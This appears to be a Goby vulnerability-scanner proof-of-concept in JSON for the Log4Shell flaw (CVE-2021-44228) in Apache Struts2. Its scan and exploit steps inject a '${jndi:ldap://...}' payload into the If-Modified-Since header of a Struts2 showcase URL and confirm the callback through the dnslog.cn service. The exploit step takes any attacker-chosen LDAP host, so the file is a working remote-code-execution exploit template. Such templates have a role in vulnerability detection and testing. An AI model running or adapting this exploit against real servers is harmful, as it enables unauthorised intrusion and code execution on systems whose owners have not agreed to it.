{
      "Name": "Struts2 Log4Shell CVE-2021-44228 (2)",
      "Level": "3",
      "Tags": [
            "rce"
      ],
      "GobyQuery": "app=\"Struts2\"",
      "Description": "Struts2 is a popular and mature web application framework based on the MVC design pattern.",
      "Product": "Struts2",
      "Homepage": "https://struts.apache.org/",
      "Author": "",
      "Impact": "Some Struts2 files will record If-Modified-Since information, which has a log4j vulnerability.",
      "Recommendation": "",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
            "https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "cmd",
                  "Type": "input",
                  "Value": "${jndi:ldap://xxxxdnslog.cn/tes}"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "http://www.dnslog.cn/getdomain.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "dnstest|lastbody||"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/struts2-showcase/struts/utils.js",
                        "follow_redirect": false,
                        "header": {
                              "If-Modified-Since": "${jndi:ldap://{{{dnstest}}}/tes}"
                        },
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "http://www.dnslog.cn/getrecords.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "{{{dnstest}}}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/struts2-showcase/struts/utils.js",
                        "follow_redirect": false,
                        "header": {
                              "If-Modified-Since": "${jndi:ldap://{{{cmd}}}/tes}"
                        },
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}